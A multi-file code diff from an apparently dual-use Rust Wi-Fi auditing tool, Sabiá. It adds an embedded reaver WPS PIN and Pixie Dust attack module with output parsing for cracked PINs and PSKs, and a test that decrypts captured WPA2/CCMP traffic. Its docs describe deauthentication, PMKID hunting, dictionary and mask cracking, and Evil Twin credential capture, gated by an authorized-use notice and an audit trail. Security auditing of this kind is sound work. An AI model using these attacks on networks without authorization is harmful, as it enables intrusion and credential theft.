c.device = c
.hostname
.as_deref()
.or(c.device_name.as_deref())
.or(c.model.as_deref())
.and_then(dot11::device_from_text);
}
c.display_name = c
.hostname
.clone()
.or_else(|| c.device_name.clone())
.or_else(|| c.model.clone())
.or_else(|| c.manufacturer.clone());
}
fn trim_events(c: &mut Client) {
const MAX: usize = 40;
if c.events.len() > MAX {
let drop = c.events.len() - MAX;
c.events.drain(0..drop);
}
}
fn security_label(s: Security) -> String {
match s {
Security::Open => "Open".into(),
@@ -469,4 +764,12 @@ mod tests {
assert_eq!(table.stats().deauth_frames, 1);
assert!(!table.clients()[0].associated);
}
#[test]
fn flags_locally_administered_macs() {
assert!(is_random_mac("5a:0d:93:04:cf:90"));
assert!(is_random_mac("02:11:22:33:44:55"));
assert!(!is_random_mac("00:11:22:33:44:55"));
assert!(!is_random_mac("ff:ff:ff:ff:ff:ff"));
}
}
+5 -4
View File
@@ -25,11 +25,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
f[1] = EAPOL_TYPE_KEY;
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
f[4] = 2;
f[5..7].copy_from_slice(&key_info.to_le_bytes());
f[7..9].copy_from_slice(&16u16.to_le_bytes());
f[9..17].copy_from_slice(&1u64.to_le_bytes());
f[5..7].copy_from_slice(&key_info.to_be_bytes());
f[7..9].copy_from_slice(&16u16.to_be_bytes());
f[9..17].copy_from_slice(&1u64.to_be_bytes());
f[17..49].copy_from_slice(&nonce);
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
f
}
@@ -205,6 +205,7 @@ pub fn synthetic_handshake(
first_seen_unix: 1,
last_seen_unix: 2,
password: None,
tk: None,
};
// Exercita o parser de MAC do alvo.
assert!(dot11::parse_mac(&hs.bssid).is_some());
+212
View File
@@ -0,0 +1,212 @@
//! Ataque de PIN WPS com o `reaver` embutido.
//!
//! O protocolo EAP-WSC é grande demais para reimplementar aqui; o Sabiá
//! carrega uma cópia do reaver (GPL-2, veja `assets/tools/LICENSE.reaver`),
//! extrai em tempo de execução e mostra a saída ao vivo. Assim o WPS já
//! funciona sem instalar nada. Se o usuário tiver um `bully` no PATH, ele
//! também aparece como alternativa.
use serde::Serialize;
use std::path::PathBuf;
#[derive(Debug, Clone, Serialize)]
pub struct WpsTool {
pub name: String,
pub path: String,
pub bundled: bool,
}
#[cfg(target_os = "linux")]
const BUNDLED_REAVER: &[u8] = include_bytes!("../../../assets/tools/reaver");
/// Procura um binário no `PATH` — usado pelo WPS (reaver/bully) e, fora
/// deste módulo, pelo Evil Twin (hostapd/dnsmasq), que precisa da mesma
/// checagem sem puxar uma dependência nova só pra isso.
pub(crate) fn find_in_path(binary: &str) -> Option<PathBuf> {
let path = std::env::var_os("PATH")?;
for dir in std::env::split_paths(&path) {
let candidate = dir.join(binary);
if candidate.is_file() {
return Some(candidate);
}
}
None
}
pub fn tools() -> Vec<WpsTool> {
let mut out = Vec::new();
#[cfg(target_os = "linux")]
out.push(WpsTool {
name: "reaver".into(),
path: "integrado".into(),
bundled: true,
});
#[cfg(not(target_os = "linux"))]
if let Some(path) = find_in_path("reaver") {
out.push(WpsTool {
name: "reaver".into(),
path: path.display().to_string(),
bundled: false,
});
}
if let Some(path) = find_in_path("bully") {
out.push(WpsTool {
name: "bully".into(),
path: path.display().to_string(),
bundled: false,
});
}
out
}
pub fn tool_path(name: &str) -> Option<PathBuf> {
match name {
"reaver" => bundled_reaver().or_else(|| find_in_path("reaver")),
"bully" => find_in_path("bully"),
_ => None,
}
}
#[cfg(target_os = "linux")]
fn bundled_reaver() -> Option<PathBuf> {
use std::fs;
use std::os::unix::fs::PermissionsExt;
// `temp_dir` é compartilhado; usa um diretório por UID e confere que ele
// não é um symlink antes de gravar, para não seguir link de outro usuário.
let uid = unsafe { libc::geteuid() };
let dir = std::env::temp_dir().join(format!("sabia-tools-{uid}"));
if let Ok(meta) = fs::symlink_metadata(&dir) {
if !meta.is_dir() || meta.file_type().is_symlink() {
return find_in_path("reaver");
}
} else if fs::create_dir_all(&dir).is_err() {
return find_in_path("reaver");
}
let _ = fs::set_permissions(&dir, fs::Permissions::from_mode(0o700));
let path = dir.join("reaver");
if let Ok(meta) = fs::symlink_metadata(&path) {
if !meta.is_file() || meta.file_type().is_symlink() {
return find_in_path("reaver");
}
if meta.len() == BUNDLED_REAVER.len() as u64 {
return Some(path);
}
}
fs::write(&path, BUNDLED_REAVER).ok()?;
fs::set_permissions(&path, fs::Permissions::from_mode(0o700)).ok()?;
Some(path)
}
#[cfg(not(target_os = "linux"))]
fn bundled_reaver() -> Option<PathBuf> {
None
}
/// Argumentos para uma execução. Sem PIN, usa Pixie Dust (`-K 1`) no reaver
/// e o ataque padrão no bully.
pub fn args(tool: &str, iface: &str, bssid: &str, channel: u32, pin: Option<&str>) -> Vec<String> {
let channel = channel.to_string();
match tool {
"bully" => {
let mut args = vec![
"-b".into(),
bssid.into(),
"-c".into(),
channel,
"-d".into(),
iface.into(),
"-v".into(),
"3".into(),
];
if let Some(pin) = pin {
args.push("-p".into());
args.push(pin.into());
}
args
}
_ => {
let mut args = vec![
"-i".into(),
iface.into(),
"-b".into(),
bssid.into(),
"-c".into(),
channel,
"-vv".into(),
];
match pin {
Some(pin) => {
args.push("-p".into());
args.push(pin.into());
}
None => {
args.push("-K".into());
args.push("1".into());
}
}
args
}
}
}
/// Extrai PIN/PSK de uma linha de saída do reaver/bully.
pub fn parse_line(line: &str) -> (Option<String>, Option<String>) {
let lower = line.to_ascii_lowercase();
let grab = |needle: &str| -> Option<String> {
let idx = lower.find(needle)? + needle.len();
let rest = line[idx..].trim();
let rest = rest
.split_whitespace()
.next()?
.trim_matches(|c| c == '\'' || c == '"');
if rest.is_empty() {
None
} else {
Some(rest.to_string())
}
};
let pin = if lower.contains("wps pin") || lower.contains("pin:") {
grab("pin:").or_else(|| grab("wps pin"))
} else {
None
};
let psk = if lower.contains("wpa psk") || lower.contains("psk:") {
grab("psk:")
} else {
None
};
(pin, psk)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn parses_reaver_output() {
assert_eq!(
parse_line("[+] WPS PIN: '12345670'"),
(Some("12345670".into()), None)
);
assert_eq!(
parse_line("[+] WPA PSK: 'senha-secreta'"),
(None, Some("senha-secreta".into()))
);
}
#[test]
fn builds_pixie_dust_args() {
let pixie = args("reaver", "wlan0mon", "00:11:22:33:44:55", 6, None);
assert!(pixie.contains(&"-K".to_string()));
let pin = args(
"bully",
"wlan0mon",
"00:11:22:33:44:55",
6,
Some("12345670"),
);
assert!(pin.windows(2).any(|w| w == ["-p", "12345670"]));
}
}
+5 -4
View File
@@ -37,11 +37,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
f[1] = EAPOL_TYPE_KEY;
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
f[4] = 2;
f[5..7].copy_from_slice(&key_info.to_le_bytes());
f[7..9].copy_from_slice(&16u16.to_le_bytes());
f[9..17].copy_from_slice(&1u64.to_le_bytes());
f[5..7].copy_from_slice(&key_info.to_be_bytes());
f[7..9].copy_from_slice(&16u16.to_be_bytes());
f[9..17].copy_from_slice(&1u64.to_be_bytes());
f[17..49].copy_from_slice(&nonce);
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
f
}
@@ -231,6 +231,7 @@ pub fn synthetic_handshake(
first_seen_unix: 1,
last_seen_unix: 2,
password: None,
tk: None,
};
// Exercita o parser de MAC do alvo.
assert!(dot11::parse_mac(&hs.bssid).is_some());
+92
View File
@@ -67,6 +67,98 @@ fn hidden_ssid_beacon_is_marked_hidden() {
assert!(aps[0].hidden);
}
/// Depois que a senha de uma rede WPA2/CCMP é conhecida (quebrada), o
/// tráfego de dados do cliente cujo handshake foi capturado passa a ser
/// decifrado em tempo real pelo pipeline de ingestão — e a identidade
/// (aqui, o IP de origem, que exercita o parser de IPv4 por trás do LLC)
/// aparece mesmo com o bit "Protected" ligado.
#[test]
fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
use sabia_core::crack::{compute_ptk, derive_pmk};
let mut table = ScanTable::new();
let ssid = "RedeCifrada";
let password = "senha-correta";
let beacon = common::beacon_frame(common::ap(), ssid, 6, &[2]);
table.ingest(&common::radiotap_wrap(&beacon, 2437, -35));
let (f1, f2) = common::handshake_radiotap_frames(ssid, password, 2, false);
table.ingest(&f1);
table.ingest(&f2);
let bssid_str = sabia_core::dot11::mac_to_string(&common::ap());
let station_str = sabia_core::dot11::mac_to_string(&common::sta());
table.set_password(&bssid_str, &station_str, password);
// A TK derivada pelo pipeline tem que bater com a calculada à parte, com
// os mesmos nonces fixos (0xaa/0xbb) que handshake_radiotap_frames usa.
let anonce = [0xaa; 32];
let snonce = [0xbb; 32];
let pmk = derive_pmk(password, ssid);
let ptk = compute_ptk(&pmk, &common::ap(), &common::sta(), &anonce, &snonce);
let expected_tk: [u8; 16] = ptk[32..48].try_into().unwrap();
let hs = table
.handshake(&bssid_str, &station_str)
.expect("handshake presente");
assert_eq!(
hs.tk,
Some(expected_tk),
"TK deveria ser derivada ao quebrar a senha"
);
// Monta um quadro QoS Data, STA->AP, protegido, com CCMP header (PN=1,
// ExtIV ligado) e cifra um payload LLC/SNAP+IPv4 "na mão" — o CTR do
// CCMP é simétrico, então usar decrypt_data pra cifrar é válido aqui.
let llc_ipv4 = {
let mut v = vec![0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00];
let mut ip = vec![
0x45, 0x00, 0x00, 20, 0x00, 0x00, 0x00, 0x00, 64, 17, 0x00, 0x00,
];
ip.extend_from_slice(&[192, 168, 1, 50]); // origem privada
ip.extend_from_slice(&[192, 168, 1, 1]); // destino
v.extend_from_slice(&ip);
v
};
let ccmp_header = [0x01u8, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00]; // PN=1, ExtIV
let mut to_cipher = Vec::new();
to_cipher.extend_from_slice(&ccmp_header);
to_cipher.extend_from_slice(&llc_ipv4);
to_cipher.extend_from_slice(&[0u8; 8]); // placeholder pro MIC, ignorado
let ciphertext = sabia_core::ccmp::decrypt_data(&expected_tk, &common::sta(), 0, &to_cipher)
.expect("cifra via CTR simétrico");
let mut body = Vec::new();
body.extend_from_slice(&ccmp_header);
body.extend_from_slice(&ciphertext);
body.extend_from_slice(&[0u8; 8]); // MIC cifrado — não conferido na decriptação
let mut frame = Vec::new();
let fc: u16 = 0x0088 | 0x0100 | 0x4000; // QoS Data, to_ds, protected
frame.extend_from_slice(&fc.to_le_bytes());
frame.extend_from_slice(&0u16.to_le_bytes()); // duration
frame.extend_from_slice(&common::ap()); // addr1 = BSSID
frame.extend_from_slice(&common::sta()); // addr2 = transmissor (estação)
frame.extend_from_slice(&common::ap()); // addr3 = destino (irrelevante aqui)
frame.extend_from_slice(&[0u8; 2]); // sequence control
frame.extend_from_slice(&[0u8; 2]); // QoS control, TID 0
frame.extend_from_slice(&body);
let ev = table.ingest_at(&common::radiotap_wrap(&frame, 2437, -45), 30);
assert!(!ev.eapol, "não é um quadro EAPOL");
let clients = table.clients();
let client = clients
.iter()
.find(|c| c.mac == station_str)
.expect("cliente deveria ter sido visto");
assert_eq!(
client.ip.as_deref(),
Some("192.168.1.50"),
"o IP só aparece se o CCMP foi decifrado corretamente"
);
}
#[test]
fn pmkid_only_handshake_is_detected_and_crackable() {
let mut table = ScanTable::new();
+2 -2
View File
@@ -39,10 +39,10 @@ sabia analyze <file.pcap> [--json]
## `crack` — dictionary cracking
```bash
sabia crack <file.pcap> --wordlist <list.txt> [--bssid <mac>] [--station <mac>] [--json]
sabia crack <file.pcap> --wordlist <list.txt> [--bssid <mac>] [--station <mac>] [--rules] [--json]
```
Recomputes the PMK with PBKDF2-HMAC-SHA1 and checks the MIC (4-way) or the PMKID, for WPA/WPA2-PSK. `--bssid`/`--station` filter which handshake to use.
Recomputes the PMK with PBKDF2-HMAC-SHA1 and checks the MIC (4-way) or the PMKID, for WPA/WPA2-PSK. `--bssid`/`--station` filter which handshake to use. `--rules` applies hashcat-style mutations (uppercase, numeric/symbol suffixes, simple leet) to each dictionary word — multiplies the time for real. The desktop app and `sabia ui` additionally offer the bundled 9.7M-password dictionary by default, mask brute force (`?d?l?u?s?a`), and `.hc22000` export.
## `deauth` — authorized deauthentication test
+4 -1
View File
@@ -9,7 +9,10 @@ The desktop app (Tauri) and the browser version (`sabia ui`) are the same front-
- **Interface sidebar:** lists the Wi-Fi interfaces; pick one to work with. The footer has the version and the one-click **update** button.
- **Capture panel:** header with the current mode (managed/monitor), an **animated signal line**, and the **enable monitor mode** and **start capture** buttons.
- **Authorized-use notice**, always in view: use only on your own networks or with authorization; every monitor activation and capture goes into the local audit trail.
- **Networks seen:** live table with SSID, signal bars, channel and a color-coded security badge (open, WEP, WPA/WPA2, WPA3).
- **Networks seen:** live table with SSID, signal bars, channel and a color-coded security badge (open, WEP, WPA/WPA2, WPA3). Row order is stable (arrival order, signal rounded to 4 dBm buckets) so it doesn't shuffle under the cursor as signal fluctuates.
- **Channels view:** interference/overlap scoring per band with a recommended channel.
- **Network detail → Attacks tab:** directional/continuous deauthentication, PMF probing, clientless PMKID hunting, handshake capture (auto-resumes the capture session if it was stopped), cracking (bundled 9.7M-password dictionary, mutation rules, mask brute force), `.hc22000` export, WPS PIN/Pixie Dust, Evil Twin with captive portal (WPA/WPA2-PSK), and — only shown for 802.1X networks — the Enterprise Evil Twin variant that captures credentials automatically. Every action requires the authorized-use checkbox and is logged to the audit trail.
- **Report:** a paginated, printable audit report (cover, table of contents, findings, channel scoring, networks/clients/handshakes, audit trail) previewed in a dialog and printable to PDF from the browser.
## Privilege
+2 -2
View File
@@ -39,10 +39,10 @@ sabia analyze <arquivo.pcap> [--json]
## `crack` — quebra por dicionário
```bash
sabia crack <arquivo.pcap> --wordlist <lista.txt> [--bssid <mac>] [--station <mac>] [--json]
sabia crack <arquivo.pcap> --wordlist <lista.txt> [--bssid <mac>] [--station <mac>] [--rules] [--json]
```
Recalcula a PMK com PBKDF2-HMAC-SHA1 e confere o MIC (4-way) ou o PMKID, para WPA/WPA2-PSK. `--bssid`/`--station` filtram qual handshake usar.
Recalcula a PMK com PBKDF2-HMAC-SHA1 e confere o MIC (4-way) ou o PMKID, para WPA/WPA2-PSK. `--bssid`/`--station` filtram qual handshake usar. `--rules` aplica mutações estilo hashcat (maiúscula, sufixos numéricos/símbolos, leet simples) a cada palavra do dicionário — multiplica o tempo de verdade. O app desktop e o `sabia ui` oferecem também o dicionário embutido de 9,7 milhões de senhas por padrão, força bruta por máscara (`?d?l?u?s?a`) e exportação em `.hc22000`.
## `deauth` — teste autorizado de desautenticação
+4 -1
View File
@@ -9,7 +9,10 @@ O app desktop (Tauri) e a versão no navegador (`sabia ui`) são o mesmo front-e
- **Sidebar de interfaces:** lista as interfaces Wi-Fi; selecione uma para trabalhar. No rodapé ficam a versão e o botão de **atualização** em um clique.
- **Painel de captura:** cabeçalho com o modo atual (managed/monitor), uma **linha de sinal animada**, e os botões **ativar modo monitor** e **iniciar captura**.
- **Aviso de uso autorizado**, sempre à vista: use só em redes próprias ou com autorização; toda ativação de monitor e captura entra na trilha de auditoria local.
- **Redes vistas:** tabela em tempo real com SSID, barras de sinal, canal e um selo de segurança por cor (aberta, WEP, WPA/WPA2, WPA3).
- **Redes vistas:** tabela em tempo real com SSID, barras de sinal, canal e um selo de segurança por cor (aberta, WEP, WPA/WPA2, WPA3). A ordem das linhas é estável (ordem de chegada, sinal arredondado em buckets de 4 dBm) — não fica trocando de posição debaixo do cursor conforme o sinal oscila.
- **Visão de canais:** pontuação de interferência/sobreposição por banda, com canal recomendado.
- **Detalhe da rede → aba Ataques:** desautenticação direcional/contínua, teste de PMF, caça de PMKID sem cliente, captura de handshake (religa a captura sozinha se ela tiver sido parada), quebra de senha (dicionário embutido de 9,7 milhões de senhas, regras de mutação, força bruta por máscara), exportação `.hc22000`, WPS PIN/Pixie Dust, Evil Twin com portal cativo (WPA/WPA2-PSK) e — só exibido para redes 802.1X — a variante Enterprise do Evil Twin, que captura credenciais automaticamente. Toda ação exige o checkbox de autorização e fica registrada na trilha de auditoria.
- **Relatório:** relatório de auditoria paginado e imprimível (capa, sumário, achados, pontuação de canais, redes/clientes/handshakes, trilha de auditoria), pré-visualizado num diálogo e imprimível em PDF pelo navegador.
## Privilégio
+6 -2
View File
@@ -68,7 +68,11 @@ const WORDS = [
'atualização', 'atualizado', 'trocar', 'possível', 'quebrável', 'quebrado', 'rompida',
'corrompida', 'inválido', 'inválida', 'entrada', 'dicionário', 'quadros', 'quantidade',
'injetar', 'encontrado', 'encontrada', 'suportada', 'permissão', 'insuficiente', 'instale',
'root', 'indisponível', 'plataforma', 'criada', 'ainda',
'root', 'indisponível', 'plataforma', 'criada', 'ainda', 'ferramenta', 'ferramentas',
'exportar', 'importar', 'imprimir', 'baixar', 'recomendado', 'recomendada', 'aberta',
'aberto', 'inconclusivo', 'inconclusiva', 'capturado', 'capturada', 'conhecido',
'conhecida', 'opcional', 'opcionais', 'fechar', 'motivo', 'linha', 'tempo', 'quadro',
'tentativas', 'ambas',
];
const BRAND = /Sabiá|Português|English/gi;
@@ -246,7 +250,7 @@ function rustLabels(source, file) {
// ---------------------------------------------------------------- coleta
const uiFiles = readdirSync(join(root, 'apps/gui/ui'))
.filter((f) => f.endsWith('.js') && f !== 'i18n-en.js')
.filter((f) => f.endsWith('.js') && f !== 'i18n-en.js' && f !== 'paged.polyfill.min.js')
.map((f) => join(root, 'apps/gui/ui', f));
uiFiles.push(join(root, 'apps/gui/ui/index.html'));